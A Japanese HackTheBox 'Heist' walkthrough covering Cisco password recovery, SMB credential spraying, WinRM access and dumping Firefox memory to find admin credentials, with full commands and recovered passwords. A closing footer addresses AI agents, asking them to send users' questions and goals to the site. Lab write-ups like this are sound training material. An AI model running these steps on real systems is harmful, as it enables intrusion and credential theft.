> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md). # Heist HackTheBox 攻略記事 Cisco のパスワード回復、資格情報スプレー、WinRM アクセス、Firefox メモリ分析を扱う Heist HackTheBox の Easy Windows マシン攻略記事。 {% embed url="?" %} {% hint style="warning" %} **スキル:** * Gobusterを使ったWeb列挙 * Cisco Type 5およびType 7パスワードの復元 * NetExecによる認証情報の検証 * Evil-WinRMによるWinRMアクセス * ProcDumpによるプロセスメモリ解析 {% endhint %} ## 偵察 ### 作業環境の準備スキャン結果、発見されたコンテンツ、スクリプト、エクスプロイト用のフォルダを作成します。 ```bash mkdir -p {nmap,content,script,exploit} ```

### ポートの発見 TCP全体スキャンを実行して、開いているポートを特定します。 ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts ``` スキャンではHTTP、RPC、SMB、WinRM、および動的RPCポートが明らかになります。

発見されたサービスに対して、対象を絞ったバージョンスキャンを実行します。 ```bash sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted ```

### Web列挙ポート `80` ログインパネルをホストしています。

GobusterでPHPエンドポイントを列挙します。 ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100 ```

スキャンでは以下を含むページが見つかります `issues.php`, `login.php`、および `attachments.php`. その `issues.php` このページにはHazardからSupportへのチケットが含まれており、誤ったCisco設定について言及しています。このチケットでは、以下も明らかになります `hazard` および `support` ユーザー名です。

添付ファイルにはCiscoの設定が含まれています。 ```wasm version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 60002375012182C1A1D751618034F36415408 authorization exec SSH transport input ssh ``` この設定には `enable secret` ハッシュと2つのCisco Type 7パスワードが含まれています。 ```bash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ``` Type 5ハッシュをクラックすると次が復元されます `stealth1agent`.

復元したパスワードをSMBで検証します。次に対して有効です `hazard`. ```bash nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares ```

同じ認証情報でWinRMセッションを試みます。 ```wasm evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90" ``` 接続は失敗します。なぜなら `hazard` WinRMアクセスがないからです。

### ユーザー列挙 RIDブルートフォースを使ってローカルユーザーを列挙します。 {% code overflow="wrap" %} ```bash netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute ``` {% endcode %} これにより次のユーザーが返されます: * Hazard * Support * Chase * Jason ### Cisco Type 7パスワードの復元設定から残りの暗号化されたパスワードを復元します。 ``` username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ``` Cisco Type 7デコーダーを使って両方の値を復号します。 {% embed url="" %} 復号されたパスワードは次のとおりです: * $uperP\@ssword * Q4)sJu\Y8qz\*A3?d

候補ユーザーのリストを作成します。 {% code overflow="wrap" %} ```bash Support Chase Jason ``` {% endcode %} パスワードリストを作成します。 {% code overflow="wrap" %} ```bash $uperP@ssword Q4)sJu\Y8qz*A3?d ``` {% endcode %} 各ユーザーとパスワードの組み合わせをSMB経由でテストします。 {% code overflow="wrap" %} ```bash nxc smb 10.129.6.90 -u users.txt -p passwords.txt ``` {% endcode %} 結果により、次の有効な認証情報が特定されます `Chase`: * Chase * Q4)sJu\Y8qz\*A3?d

### 初期アクセス次として接続します `Chase` WinRM経由で。 {% code overflow="wrap" %} ```bash evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" ``` {% endcode %}

ユーザーフラグを取得します。

### 権限昇格実行 `ps` そしてFirefoxが実行中であることに気付きます。 ```bash ps ```

アクティブなブラウザプロセスには、メモリ内に認証情報が含まれている可能性があります。 ProcDumpを使ってFirefoxプロセスのメモリをキャプチャします。 ```bash wget https://download.sysinternals.com/files/Procdump.zip ``` {% embed url="" %}

アップロード `procdump64.exe` を対象に。 ```bash upload /workspace/procdump64.exe ```

Firefoxプロセスをダンプします。 ```bash .\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp ```

メモリダンプをダウンロードしてローカルで解析します。 ```bash download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ``` ダンプが大きいため、ダウンロードには時間がかかります。

完全に確認するのを待つ代わりに、ダンプのstringsからパスワード関連の値を検索します。 ```bash strings firefox_debug.dmp | grep password ``` これにより管理者アカウントの認証情報が明らかになります。 ```bash admin@support.htb&login_password=4dD!5}x/re8]FBuZ ```

復元したパスワードをSMBで検証します。 ```bash nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ" ```

### 管理者アクセス WinRM経由で次として接続します `Administrator`. {% code overflow="wrap" %} ```bash evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ' ``` {% endcode %} このセッションには管理者権限があります。

rootフラグを取得します。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.